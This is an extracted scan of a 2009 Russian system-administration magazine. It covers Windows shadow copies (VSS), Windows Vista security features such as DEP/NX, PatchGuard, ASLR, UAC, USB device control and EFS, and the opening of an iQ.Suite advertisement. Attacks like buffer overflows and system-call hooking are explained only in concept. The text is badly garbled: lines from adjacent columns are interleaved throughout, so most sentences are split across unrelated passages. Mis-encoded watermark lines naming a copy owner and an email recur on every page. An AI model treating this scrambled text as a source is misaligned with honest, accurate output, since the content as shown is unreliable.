личные типы резервных архивов (пол- дает возможность администраторам вание можно производить только на то-
ный, инкрементальный, разностный) (некоторые из которых и не задумыва- мах с файловой системой NTFS. Такой
и сжимать их, экономя тем самым дра- ются о существовании такого механиз- том называется носителем кэша те-
гоценные мегабайты дискового про- ма) не прибегать к помощи сторонних невых копий, который хранится в пап-
странства. Вполне можно было бы программ. К тому же многие из вендо- ке System Volume Information, не види-
обойтись его услугами для решения ров встраивают в программные ком- мой обычными пользователями. В ка-
задачи, описанной в начале статьи плексы возможность использования честве такого носителя можно выбрать
(про сохранение здоровья пользова- VSS. Для примера можно взять тот же как раздел-источник, так и любой дру-
телей). Для этого достаточно настро- Acronis True Image, который, начиная гой NTFS-раздел.
ить создание инкрементального или с девятой версии, научился делать ре-
разностного архивирования целевых зервные копии отдельных файлов и па- Что еще необходимо знать
файлов и при необходимости восста- пок, имея возможность использовать Далее будет приведен ряд особеннос-
новить утерянную информацию из про- для этого и теневое копирование. тей и рекомендаций, связанных с про-
межуточной копии. Главная проблема, цессом планирования теневого копи-
возникающая в данном случае, состоит Принципы работы службы рования.
в том, что многие программы блокиру- теневого копирования Кэш теневых копий невозможно
ют открытые или созданные ими фай- Как уже говорилось ранее, при иници- перенести с одного тома на другой
лы, вследствие этого они в резервную ализации администратором теневого без потери уже созданных снимков.
копию не попадут. Помимо этого, все копирования тома VSS делает его мо- Поскольку речь идет о разделах NTFS,

№2, февраль 2009 37


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
данные на системном томе сервера командной строки vssadmin (о его ис-
(ну разве что их профили). Но все же пользовании далее).
включать теневое копирование для та-
кого тома не стоит по причине частых Запуск VSS
изменений файлов самой операцион- Как уже говорилось, для начала ра-
ной системы, что может повлечь зна- боты службы теневого копирования
чительное увеличение размера проме- нужно выполнить ряд незамыслова-
жуточной копии. тых действий. Существует два спо-
соба. Первый способ осуществляет-
Служба теневого ся при помощи оснастки «Управле-
копирования тома ние компьютером». Итак, открываем
в Windows Vista ее и переходим в раздел Управление
Стоит отметить, что весь материал дисками. Далее открываем «Все зада-
статьи ориентирован на использова- чи → Настроить теневые копии» и ви-
ние VSS в рамках сети предприятия, дим следующую картину (см. рис. 1).
то есть в связке клиент-сервер. Здесь Ни для одного из томов пока не на-
Рисунок 2. Пользовательское меню подразумевается, что администратор строено теневое копирование. Исправ-
для доступа к теневым копиям файла
или папки со своей стороны управляет процес- ляется это простым нажатием кнопки
сом создания теневых копий пользо- «Включить» после выбора необходимо-
стоит отметить, все права NTFS, а так- вательских данных, которые хранят- го диска. Также до запуска процесса
же шифрование, сохраняются на мо- ся на сервере. Пользователи, в свою либо после этого администратор име-
мент создания теневой копии. Поэто- очередь, при необходимости открыва- ет возможность настроить параметры,
му с малой вероятностью, но все же мо- ют нужную копию и восстанавливают которых не так много, а также расписа-
жет возникнуть ситуация, когда адми- оттуда искомый файл или папку пря- ние создания теневых копий. По умол-
нистратор сменит права на какой-ли- мо с рабочей машины. Казалось бы, чанию настройки предусматривают
бо файл или папку. И тем пользовате- данный раздел можно опустить и оста- создание двух снимков в сутки. Пос-
лям, которые спокойно работают с ни- вить этот материал для разбора пыт- ле запуска процесса можно увидеть,
ми в реальный момент времени, мо- ливым умам. Однако ситуации бывают что используется 100 Мб пространст-
жет быть отказано в доступе к сохра- разные, и возможность использования ва на диске, который был выбран хра-
ненной в снимке копии. функционала, который будет описан нилищем теневых копий. Его, кстати
Существует одна рекомендация далее, исключать нельзя. говоря, стоит выбирать перед актива-
от Microsoft, учесть которую возмож- Речь идет о том, что Windows Vista, цией VSS. В меню управления можно
но только при подготовке раздела, несмотря на то что является деск- увидеть, что не рекомендуется созда-
когда на нем еще нет каких-либо дан- топной ОС, вполне может справить- вать копии чаще, чем раз в один час.
ных. Она касается размера кластера ся с процессом создания теневых ко- Помимо всего прочего, администратор
для томов, где будет включена служ- пий. Предыдущие версии файлов вручную может создать копию при по-
ба теневого копирования. Рекомен- (Previous Versions) в Windows Vista – мощи того же меню.
дуемое значение – 16 Кб (подробнее это часть механизма восстановле- Второй способ доступа к меню уп-
в [1]). По умолчанию для тома NTFS ния системы, с той лишь только раз- равления VSS тоже не так сложен –
размером от 2 Гб до 2 Тб операци- ницей, что System Restore делает ре- стоит всего лишь открыть свойства ло-
онной системы Windows Server 2003 зервные копии системных файлов, кального диска и перейти на вкладку
размер кластера равен 4 Кб (значе- не трогая пользовательские данные, «Теневые копии».
ния для других ОС и томов FAT читай- функция «Предыдущие версии» – на-
те в [2]). Таким образом, данную реко- борот. Кроме того, оба этих механиз- Доступ к теневым копиям
мендацию можно либо игнорировать, ма используют службу Volume Shadow Ну вот мы и подошли к тому, для че-
либо, если ваш том уже заполнен ин- Copy для отслеживания дисковой ак- го администратором выполняются
формацией, можно ее перенести и от- тивности и создания точек восстанов- все вышеописанные манипуляции.
форматировать раздел с размером ления. По умолчанию теневое копи- Посмотрим, как пользователи могут
кластера в 16 Кб. рование активируется для системно- при желании восстановить свои дан-
Стоит отметить, что изменения го раздела при наличии на нем не ме- ные сами. Начнем с того, что клиент
регистрируются на уровне блоков, нее 300 Мб свободного пространства. для настольных машин, при помо-
а не файлов, что ведет к сокращению Точки восстановления создаются при щи которого можно получить доступ
дискового объема для хранения этих условии, что компьютер бездейство- к теневым копиям на сервере, вхо-
изменений. Поэтому не стоит удив- вал как минимум 10 минут и питается дит в состав ОС начиная с Windows
ляться, что ваша папка размером 40 Гб от сети. При активации создания то- XP SP2. Для всех остальных версий
может спокойно иметь 30 и более те- чек восстановления для других разде- Windows (от Windows 98 SE до XP Pro)
невых копий. лов, Windows Vista отводит под них 15% его нужно устанавливать отдельно.
Вряд ли нормальный администра- от объема раздела. Это значение мож- Для Windows 98 SE и 2000 установщик
тор будет хранить пользовательские но исправить при помощи инструмента можно скачать с сайта Microsoft. Для

38
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Windows XP его можно взять непосред- Многие наверняка согласятся, что дет сделано при использовании конк-
ственно с сервера (%windir%\System32\ не каждый пользователь сможет най- ретного параметра.
Clients\Twclient\X86) и распространить ти требуемую папку по UNC-пути. К то-
на рабочие станции при помощи груп- му же в случае использования файло- Заключение
повых политик, если действие проис- вых хранилищ на серверах многие ад- Теневое копирование тома как про-
ходит в домене Active Directory. министраторы монтируют общие папки дукт получилось настолько удачным,
Для проведения дальнейших опе- на рабочих станциях как сетевые дис- что оно стандартом де-факто включа-
раций необходимо, чтобы папка, со- ки. В этом случае все значительно уп- ется разработчиками Microsoft в со-
держащая целевой файл или папку, рощается. Пользователю достаточно став новых ОС. Помимо этого неко-
была открыта на общий доступ. Далее лишь открыть свойства сетевого дис- торые серверные функции строят-
нужно, используя UNC-путь (например, ка и далее выполнить то, что было опи- ся на базе его возможностей. Напри-
\\server\sharedfolder\), в проводнике от- сано абзацем выше. мер, система резервного копирова-
крыть ее уровнем выше (для нашего ния Windows Server Backup, пришед-
случая \\server\) и перейти в свойства. Работа из командной шая с выходом Windows Server 2008
После этого мы открываем вкладку строки на смену привычному NTBackup, вов-
«Предыдущие версии» и видим неко- Поскольку технология VSS ориенти- сю использует VSS и копирование
торое количество снимков папки, дан- рована на использование админи- на уровне блоков для процесса ре-
ные из которой нам необходимо вос- страторами сети, было бы упущени- зервирования данных.
становить. Можно просмотреть содер- ем не включить в обзор возможность
жимое теневых копий этой папки и пу- управления ею из командной стро- 1. http://support.microsoft.com/kb/312067 –
тем простого перетаскивания скопиро- ки. Позволяет это делать инструмент Shadow copies may be lost when you
вать из нее нужные файлы. Есть воз- vssadmin. Он имеет не так много па- defragment a volume.
можность также сразу скопировать все раметров, и все они предельно понят- 2. http://support.microsoft.com/kb/140365 –
ее содержимое, указав приемник, ли- ны. Тем более что при запуске утилиты Размер кластера по умолчанию для
бо восстановить состояние папки не- с ключом /? можно получить их список, файловых систем FAT и NTFS.
посредственно на сервере. а также краткое описание того, что бу-

Реклама

№2, февраль 2009 39


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность

Средства обеспечения
безопасности в Windows Vista
Часть 1

Андрей Бирюков

Выбирая, какую операционную систему использовать, мы уделяем большое внимание


средствам обеспечения информационной безопасности. В этой статье мы начнем
рассматривать новые средства безопасности, появившиеся в Windows Vista.

40
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность

Б
езопасность в каждой новой вер- Как известно, исполняемый ма- добную технологию), тем самым пре-
сии операционной системы се- шинный код и данные, которые ис- дотвратив несанкционированное про-
мейства Windows всегда была пользуются в приложениях, размеща- никновение в систему.
и остается темой для жарких споров. ются в оперативной памяти. Таким об- Э та технология используется
На многих тематических интернет-фо- разом была возможна ситуация, ког- для защиты компонентов ОС, вклю-
румах специалисты и обычные пользо- да блок данных большей, чем предпо- чая встроенные системные службы,
ватели спорят о том, насколько защи- лагалось длины, мог затереть часть хотя может использоваться и сторон-
щена или наоборот уязвима Windows машинного кода. Это могло привести ними производителями ПО через спе-
Vista. В этих спорах зачастую приво- как минимум к сбою в работе приложе- циальные API-вызовы.
дятся в качестве примеров технологии, ния, а если заменяющие данные были Особое внимание следует уделить
используемые в новой операционной правильно составлены (то есть содер- 64-битным версиям Windows Vista.
системе. В этой статье мы попробуем жали определенный код), то и к выпол- Для данной архитектуры наличие уже
разобраться в новых средствах обес- нению произвольного кода и получе- упоминавшейся защиты NX – стан-
печения безопасности, представлен- нию несанкционированного доступа дарт. Также операционная система
ных в Windows Vista. к целевой системе. Такой тип атак по- под 64‑битную архитектуру поддержи-
Прежде всего, приведу немного лучил название переполнение буфера вает технологию защиты ядра (иногда
официальной информации, которая (Buffer Overflow). используется термин PatchGuard), ко-
была представлена Microsoft перед вы- Так вот, для борьбы с переполне- торая запрещает неавторизованному
ходом Windows Vista. ниями буфера на аппаратном уров- ПО изменять ядро Windows.
Итак, по заявлению разработчика, не в Windows Vista была использова- Для понимания сути данной техно-
Windows Vista – это первая клиентская на технология NX (No Execute). NX поз- логии необходимо разобраться в том,
операционная система, в которой кон- воляет программному обеспечению, что означает термин kernel patching (из-
троль за безопасностью осуществля- используя возможности оборудова- менение ядра).
ется на всех этапах разработки (техно- ния, помечать сегменты памяти, в ко- Эта техника использует внутренние
логия Microsoft’s Security Development торых будут храниться только дан- системные вызовы, а также различ-
Lifecycle – SDL). ные, так чтобы процессор не смог ис- ные неподдерживаемые ОС механиз-
Это означает, что безопасности полнять произвольный код в этих сег- мы с целью изменения или замены ко-
в новой ОС уделено большое внима- ментах. да, а возможно, и критических струк-
ние. Согласно технологии SDL к разра- Множество современных процес- тур данных ядра Windows на другой
ботчикам ПО с самого начала пристав- соров поддерживают ту или иную фор- «неавторизованный» код или данные,
ляется консультант по безопасности, му NX, и Microsoft в свою очередь, на- которые могут быть и вредоносными.
который контролирует все этапы раз- чиная с Windows XP SP2, включила Под понятием «неавторизованный»
работки на предмет отсутствия уязви- поддержку процессоров с NX-техно- имеется в виду код, не авторизован-
мостей в программном коде. логией посредством инструмента Data ный Microsoft как часть ядра Windows,
Кроме того, Microsoft сертифициро- Execution Prevention (DEP). Windows например различные закладки, поз-
вала Windows Vista по стандарту ISO Vista обеспечивает дополнительную воляющие произвести несанкциони-
«Общие Критерии» с целью получе- поддержку NX, позволяя производите- рованный доступ к системе.
ния сертификатов EAL4 и Single Level лям ПО встраивать защиту NX в свои Осуществить неавторизованный
OS Protection Profile. программные продукты. доступ можно, изменяя адрес функ-
Какими сертификатами на данный Подробнее о технологии DEP и NX, ции-обработчика системного вызова
момент обладает Windows Vista и дру- а также об их достоинствах и недостат- (указатель функции) в таблице сис-
гие продукты Microsoft, можно узнать ках можно прочесть в [3]. темных вызовов (system service table,
на сайте Common Criteria [4]. Еще одно улучшение в защите SST), которая представляет собой
Windows Vista связано с определени- массив из указателей функций, на-
Аппаратная защита ем переполнения «кучи» (области па- ходящихся в памяти. Такая процеду-
Защита операционной системы проис- мяти, выделяемой программе для ди- ра изменения адреса называется ху-
ходит на нескольких уровнях. Это ап- намически размещаемых структур ком (hook).
паратная, программная и защита дан- данных). Такой вид атак аналогичен Когда выполняется любой систем-
ных. Начну с описания аппаратной за- атакам на переполнение буфера и по- ный вызов (например, NtCreateProcess),
щиты. этому требует наличия средств предо- диспетчер системных вызовов в соот-
Аппаратную защиту можно счи- твращения переполнения «кучи». ветствии с номером вызова передает
тать нововведением, ведь до выхода При вмешательстве в буфер «ку- адрес функции-обработчика данного
Windows Vista другие операционные чи» операционная система генериру- системного вызова. Соответственно,
системы из этого семейства не об- ет исключение. В случае если в при- если поменять адрес функции-обра-
ладали средствами взаимодействия ложении разработчиками не предус- ботчика на адрес начала «неавтори-
с механизмами аппаратной защиты. мотрена обработка данного исключе- зованного» кода, диспетчер систем-
Но сначала немного поговорим ния, ОС немедленно завершает скомп- ных вызовов перейдет по этому ад-
о том, от чего мы собственно защи- рометировавший себя код (многие ан- ресу, и «неавторизованный» код бу-
щаемся. тивирусные системы используют по- дет исполнен.

№2, февраль 2009 41


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Кроме того, применение данного
подхода позволяет предотвратить из-
менение важных настроек файловой
системы или реестра скомпрометиро-
ванной службой.
Теперь встроенные службы ОС се-
мейства Windows имеют собственные
профили, которые определяют необ-
ходимые права для каждой службы,
правила доступа к системным ресур-
сам и сетевые порты, которые служ-
бам разрешено использовать.
Если служба попытается отправить
или получить данные с сетевого порта,
который ей не разрешен для использо-
вания, межсетевой экран заблокирует
эту попытку. Для этого в межсетевом
экране Windows Vista уже имеется на-
бор соответствующих шаблонов.
Например, службе удаленного вы-
зова процедур (Remote Procedure Call
service) запрещено перемещать сис-
Рисунок 1. Иллюстрация работы UAC темные файлы, модифицировать ре-
естр, вмешиваться в конфигурации
Для предотвращения подобных Одной из наиболее частых це- других служб в системе таких, как кон-
проникновений Microsoft решила за- лей взломщиков являются систем- фигурация и сигнатуры вирусов и ан-
претить модификацию ядра в 64-бит- ные службы ОС, так как они загружа- тивирусного ПО.
ных версиях Windows Vista. Конкрет- ются с самыми высокими привилеги- Следует также отметить, что каж-
нее – запрещена модификация следу- ями (Local System), и внедрение в них дая служба, которая входит в состав
ющих компонентов ядра [1]: своего кода может позволить вредо- ОС Windows Vista, имеет сконфигури-
n табл и ц ы с и с те м н ы х в ы з о в о в носному приложению скрыться от ан- рованный заранее профиль, который
(system service tables, SST); тивирусных программ и средств обна- применяется автоматически в процес-
n таблица прерываний (interrupt ружения вторжения. се установки Windows. Данный процесс
descriptor table (IDT)); Системные службы – это фоно- не требует каких бы то ни было усилий
n таблица глобальных дескрипто- вые процессы, которые загружают- со стороны пользователей или адми-
ров (global descriptor table (GDT)); ся для поддержки ключевых функций нистраторов.
n изменение любой части ядра (ра- операционной системы, так что разра- Еще одним средством, затрудняю-
ботает только на AMD64-систе- ботчики Vista постарались максималь- щим вредоносному коду (эксплойтам)
мах). но защитить систему от последствий внедрение в систему, является техно-
взлома таких служб. логия случайного распределения ад-
В случае если какое-либо при- Windows Vista предлагает концеп- ресного пространства (Address Space
ложение попытается произвести за- цию «ограниченных служб» (restricted Layout Randomization (ASLR)). Каждый
мену одной из перечисленных час- services), которые загружаются с ми- раз, когда компьютер перезагружает-
тей ядра, будет получено сообщение нимальными привилегиями, и влия- ся, ASLR в случайном порядке назна-
об ошибке, и система аварийно завер- ние их на компьютер и сеть ограни- чает 1 из 256 возможных вариантов
шит работу. чено. Этот подход позволяет сущест- адреса для размещения в памяти со-
По утверждению Microsoft, отклю- венно сократить число служб, способ- держимого ключевых системных DLL-
чить эту защиту нельзя. Также яд- ных нанести серьезный вред пользо- и EXE-файлов. Это осложняет экс-
ро может изменяться только офици- вательской машине. Данное средство плойту задачу поиска нужных данных,
альными обновлениями от разработ- получило название Windows Service а следовательно, противодействует
чика. Hardening. выполнению его функций.
Системные службы могут быть од- ASLR лучше использовать в связ-
Программная защита. нозначно идентифицированы, что поз- ке с Data Execution Prevention, пото-
Windows Service Hardening воляет вести списки контроля досту- му что в некоторых случаях компо-
На этом описание аппаратных средств па для каждой службы, разрешая, на- нент Data Execution Prevention мож-
защиты завершается, перейдем к рас- пример, службам записывать только но обойти путем построения эксплой-
смотрению программных средств в определенные места файловой сис- та, который сам по себе не внедряет-
Windows Vista. Здесь тоже появилось темы, реестра или других системных ся, но перехватывает системные функ-
довольно много новых средств. ресурсов. ции для атаки.

42
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Контроль установки жи или изменения конфиденциальной закрыт. Такая политика использует-
драйверов информации. ся по умолчанию и будет применяться,
Еще одно дополнительное средство Конечно, работа из-под учетных даже если пользователь не вносил ни-
защиты для 64-битной архитектуры – записей простых пользователей тоже каких изменений в настройки доступа
это возможность использования толь- не является панацеей, так как вредо- к своим файлам.
ко подписанных драйверов. Конечно, носный код может и там нанести ущерб, Если обычный пользователь, не об-
и в предыдущих версиях можно бы- но сделать это, не обладая админис- ладающий административными права-
ло запретить использование непод- тративными привилегиями, гораздо ми, попытается выполнить задачу, тре-
писанных драйверов устройств с по- сложнее. Да и сам пользователь мог бующую административных привиле-
мощью групповых политик, но обыч- внести в систему изменения, приводя- гий (например, установка нового при-
но администраторы позволяли их ус- щие к сбоям и системным ошибкам. ложения или изменение важных сис-
танавливать, так как слишком боль- Конечно, когда рабочая станция на- темных настроек), ему предлагается
шое количество оборудования не под- ходится в домене Active Directory, кон- ввести пароль администратора. IT-ад-
писывало свои драйверы. По заявле- тролировать учетные записи и гиб- министраторы имеют возможность от-
ниям Мicrosoft, именно неподписанные ко назначать пользователям права ключить процедуру ввода пароля ад-
драйверы являются причиной боль- можно с помощью групповых политик, министратора для обычных пользо-
шинства сбоев ОС Windows. Хотя, я ду- но очень часто возникают ситуации, вателей, тем самым запретить работу
маю, многие администраторы и поль- когда пользователю необходимы пра- с административными привилегиями
зователи не согласятся с данным ут- ва локального администратора, напри- для данной учетной записи. Это позво-
верждением. мер на ноутбуке, когда он отправляется лит сократить риск несанкционирован-
в командировку (ведь без администра- ных действий со стороны последних.
User Account Control тивных прав нельзя, к примеру, пропи- Если же пользователь с админист-
Какие еще средства появились в сис- сать IP-адрес или изменить настройки ративными правами работает в систе-
теме безопасности Windows Vista? подключения к беспроводной сети). ме, то при попытке произвести какое-
Довольно интересное новшество – В Windows Vista для решения про- либо действие, являющееся критич-
появление контроля пользователь- блемы ввели контроль пользователь- ным с точки зрения UAC, на экран бу-
ских учетных записей (User Account ских учетных записей. В соответс- дет выведен запрос на подтверждение
Control). твии с данным подходом все операции данного действия (см. рис. 1). А неожи-
В предыдущих версиях Windows в системе разделены на две категории: данное появление предупреждения
большинство пользовательских учет- те, которые может выполнять пользо- в процессе работы может свидетельс-
ных записей являлись членами ло- ватель со своими стандартными пра- твовать о попытке проникновения вре-
кальной группы «Администраторы», вами, и те, которые требуют админис- доносного кода в систему. При необ-
тем самым предоставляя пользова- тративных привилегий. Благодаря это- ходимости данные напоминания мож-
телям все системные привилегии му производить какие-либо несанкци- но отключить с помощью политик бе-
и возможности, требуемые для уста- онированные действия вредоносному зопасности.
новки и конфигурирования приложе- коду будет гораздо сложнее (напри- Такое предупреждение не позво-
ний, загрузки некоторых фоновых сис- мер, троян не сможет прописать себя лит вредоносному коду незаметно вне-
темных процессов и драйверов уст- в реестр, а вирус – повредить систем- сти изменения в системе. Также UAC
ройств, изменения конфигурации сис- ные файлы). помогает существующим приложени-
темы и выполнения базовых повсед- UAC переопределяет список стан- ям работать с правами стандартного
невных задач. дартных возможностей пользовате- пользователя без модификаций пу-
Такой подход существенно облег- ля путем включения в него множест- тем предоставления им специальной
чал жизнь как самим пользователям, ва базовых функций, которые не не- платформы, которая помогает послед-
так и специалистам техподдержки (хо- сут риска нарушения безопасности, ним обойтись без использования ад-
тя бы отчасти), ведь для установки ка- хотя раньше требовали администра- министративных привилегий в обыч-
ких-либо дополнительных приложений тивных привилегий (например, изме- ных ситуациях.
или внесения изменений в настройки нение временной зоны, настройки сис- Например, чтобы обеспечить нор-
не требовалось привлекать обладате- темы управления питанием, добавле- мальную работу приложений, требую-
лей административных прав, все мож- ния устройств при условии, что драй- щих для своего выполнения админис-
но было сделать самостоятельно. веры к ним уже установлены в систе- тративных привилегий, Windows Vista
Но по этой же причине на рабочую ме, и другие действия). содержит механизм виртуализации
станцию, на которой пользователь ра- UAC также помогает контролиро- файловой системы и реестра. Данный
ботал, под учетной записью с адми- вать доступ к ценной информации, на- механизм перенаправляет запросы
нистративными правами могло внед- ходящейся в папке «Мои документы». чтения и записи из защищенных облас-
ряться вредоносное ПО, которое мог- Теперь если пользователь не являет- тей в какое-либо место внутри профи-
ло использовать системные привиле- ся создателем файла, он не сможет ля пользователя, таким образом, при-
гии для повреждения файлов, изме- его ни прочесть, ни изменить, ни уда- ложение работает корректно, не влияя
нения конфигурации (например, от- лить, то есть, другими словами, дос- на ресурсы других пользователей или
ключение межсетевого экрана), кра- туп к файлам других пользователей систему в целом.

№2, февраль 2009 43


Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
безопасность
Данные политики можно перекрывать путем ввода па-
роля администратора для установки того или иного уст-
ройства.
И наконец, можно открывать доступ по чтению/записи
к устройствам для определенных пользователей или ком-
пьютеров.

Улучшения в EFS
(Encrypting File System)
Шифрующая файловая система уже присутствовала
в предыдущих версиях операционных систем семейства
Windows, однако теперь Windows Vista EFS поддерживает
хранение пользовательских ключей и ключей восстанов-
ления на смарт-картах.
Кроме этого, EFS в Windows Vista может быть исполь-
зована для шифрования файла подкачки (эта опция мо-
жет быть активирована системным администратором че-
рез групповую политику), что тоже существенно усилива-
ет общую защиту системы, так как теперь злоумышленни-
ки не смогут воспользоваться содержимым файла подкач-
ки, в котором могут находиться конфиденциальные данные,
Рисунок 2. Интерфейс для работы с EFS используемые приложениями.
Кэш на стороне клиента, в котором сохраняются копии
В случае если вы не уверены, будет ли то или иное при- документов с файлового сервера, также может быть за-
ложение работать с правами определенного пользователя, шифрован с помощью EFS. В этом случае даже локальный
Windows Vista предлагает ряд инструментов, технологий администратор, не обладая пользовательским секретным
и ресурсов, чтобы помочь производителям составлять но- ключом, не сможет расшифровать файлы пользователя.
вые программы, корректно работающие под UAC. Также в «Групповой Политике» появился ряд новых оп-
Например, инструмент Standard User Analyzer [2] позво- ций, по поддержке EFS. К ним относятся опции включения
ляет определить, будет ли корректно работать то или иное возможности шифрования файла подкачки, сохранения
приложение с правами стандартного пользователя или же ключей на смарт-картах, ограничения минимальной дли-
нет. ны ключа и т. д.
Кроме вышеперечисленного, существует возмож-
Контроль USB-устройств ность «прозрачного» шифрования пользовательских фай-
Еще одним источником проникновения в систему вредо- лов при сохранении их на файловом сервере Windows
носного кода являются различные USB-накопители. Бес- Server 2008. При этом файл шифруется в процессе копиро-
контрольное использование в организации флешек может вания незаметно для пользователя. Такая операция необхо-
привести к утечке конфиденциальной информации и дру- дима в тех ситуациях, когда нет доверия к серверу. Но шиф-
гим малоприятным последствиям. рующая файловая система доступна не во всех редакци-
Также самовольное подключение пользователями USB- ях Windows Vista. EFS доступна в версиях Windows Vista
устройств, таких как принтеры или сканеры, могло привес- Business, Enterprise и Ultimate.
ти к нестабильной работе системы при использовании не-
корректной версии драйверов. Заключение
При работе с предыдущими версиями Windows админис- На этом я завершаю первую часть статьи. Практическую
траторам приходилось использовать программное обеспе- пригодность новых функций безопасности покажет вре-
чение от сторонних производителей. мя. Ну а во второй части мы поговорим о новом средстве
Однако в ОС Windows Vista реализован гибкий меха- контроля Parental Control, Bitlocker, NAP и других нововве-
низм контроля использования USB-устройств. Посредством дениях.
«Групповой Политики Windows» Vista позволяет системным
администраторам блокировать установку неавторизован- 1. Статья о новшествах безопасности Windows Vista – http://
ных USB-устройств в компьютер. www.microsoft.com/rus/smallbusiness/issues/sgcv2/security-
Данная политика может применяться как к отдельному guidance-centre/vistasecurity.mspx.
компьютеру, так и к множеству компьютеров по всей сети. 2. Standard User Analyzer – http://technet.microsoft.com/en-us/library/
У администраторов в руках находится весьма гибкий инс- cc766021.aspx.
трумент по настройке политики запрета USB-устройств. 3. Касперски К. Судьба shell-кода на системах с неисполняемым
Например, можно разрешить установку только опреде- стеком. //Системный администратор, №1, 2006 г. – С. 66‑74
ленного класса устройств, таких как принтеры, запретить (http://www.samag.ru/art/01.2006/01.2006_11.html).
установку любых типов USB-накопителей или установку 4. Информация о ПО, сертифицированном по Common Criteria –
любых неавторизованных устройств. http://www.commoncriteriaportal.org/products_OS.html#OS.

44
Ýëåêòðîííàÿ êîïèÿ æóðíàëà Linux Format. Íåëåãàëüíîå ðàñïðîñòðàíåíèå ïðåñëåäóåòñÿ ïî çàêîíó Ô. Çàêàç LC173025. Âëàäåëåö êîïèè: Ñòðèæåíöîâ Âëàäèìèð Âëàäèìèðîâè÷, email:
bobahsmtp.ru
на правах рекламы

iQ.Suite – экономичное решение безопасности


для Lotus Domino и Microsoft Exchange
Несмотря на непростые времена, на российском рынке периодически появляются новые
программные продукты. И появляются они все чаще «не вопреки», а «благодаря» сложностям
в глобальной экономике. Все большее число предприятий обращают внимание на виртуальную
сферу бизнеса именно из-за относительно низкой стоимости разработки и внедрения
и высокой эффективности подобных систем. Информационные технологии приобретают
все больший вес в структуре бизнес-процессов современного предприятия. Заканчивается
эпоха витрин. Теперь предприятие все чаще оценивается по веб-облику. Но по одежке,
как известно, только встречают, а когда дело доходит до работы, важно совсем другое.
Ибо чего будет стоить самая красивая витрина, если не будет работать сам магазин?

В
IT-инфраструктуре современно- и индексированию, разграничения их, экономия на обучении. Обучают-
го бизнеса основной вес имеет доступа к информации на основе кон- ся только сотрудники, непосредствен-
электронная почта. тентных правил. но занимающиеся администрировани-
Объем электронной деловой пере- iQ.Suite доступна для ведущих плат- ем, нет необходимости обучать рядо-
писки современного предприятия пос- форм – Lotus Domino, Microsoft Exchange вых пользователей, поскольку они не
тепенно, но неумолимо устремляется и шлюзов SMTP. Применение iQ.Suite сталкиваются с программой. В‑чет-
в область астрономических величин. поможет оптимизировать работу вашей вертых, сотрудники компании больше
И ведь, если разобраться, большая электронной почты, повысить произво- не отвлекаются от работы на пересыл-
часть этого объема – хлам. Либо од- дительность труда, сократить расходы ку различных файлов развлекательно-
на и та же информация хранится в со- и обеспечить правовую защиту. го характера, что приводит к повыше-
тнях и тысячах копий в почтовых ящи- Факторы экономии можно разде- нию эффективности труда, увеличе-
ках сотрудников, либо серверы забиты лить на два блока: административный нию чистого рабочего времени.
не отфильтрованным спамом, а чаще – и продуктовый. Экономия благодаря продуктовым
и то, и другое. Практика показывает, Для начала расскажем об админис- преимуществам складывается из сле-
что объем хранимых данных, поступа- тративных возможностях сокращения дующего. Во-первых, это серверное
ющих по электронной почте можно со- расходов. Во-первых, комплексность решение с централизованным управ-
кратить на три четверти. А это означает решения позволяет приобрести пол- лением всеми функциями почтовой
сокращение стоимости хранения и ре- ный пакет программ для безопаснос- системы, что позволяет снизить за-
зервирования данных через сокраще- ти почтовых систем у одного разработ- траты на поддержание сети. Во-вто-
ние времени, требуемого для их обра- чика, что экономит затраты на работу рых, системное использование – мно-
ботки, и снижение количества носите- с несколькими поставщиками, и поз- гие функции (антивирус, антиспам,
лей. А если сотрудники не будут тратить воляет получить более выгодную стои- шифрование, архивирование...) рабо-
драгоценное время на разбор поступа- мость решения. Во-вторых, сниженные тают в едином потоке на уже имею-
ющего спама, то мы можем смело удва- риски возникновения проблем с тех- щейся инфраструктуре, благодаря че-
ивать объем сэкономленных средств. нической поддержкой, более опера- му отпадает необходимость в дополни-
Необходимость в централизован- тивное решение технических вопро- тельном оборудовании и его обслужи-
ном решении, которое охватывает сов. Клиенты по всем вопросам, свя- вании. В‑третьих сокращение объема
все аспекты безопасности, приобре- занным с безопасностью е-mail-комму- хранимых данных, что приводит к сни-
тает сегодня всё большее значение. никаций, архивированием и защитой жению затрат на приобретение дис-
